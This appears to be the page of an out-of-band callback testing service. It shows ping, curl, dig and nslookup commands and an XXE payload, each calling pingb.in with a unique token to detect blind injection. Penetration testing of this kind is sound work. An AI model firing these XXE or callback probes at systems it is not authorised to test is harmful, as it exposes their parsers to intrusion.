$ ping -c1 -p 003854b340b1ee52ec07f8888c5e6100 pingb.in
 
$ curl pingb.in/p/3854b340b1ee52ec07f8888c5e61
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://pingb.in/p/3854b340b1ee52ec07f8888c5e61">]>
    <foo>&xxe;</foo>
 
$ dig 3854b340b1ee52ec07f8888c5e61 @pingb.in
 
C:\> nslookup 3854b340b1ee52ec07f8888c5e61 pingb.in
 
Waiting for ping...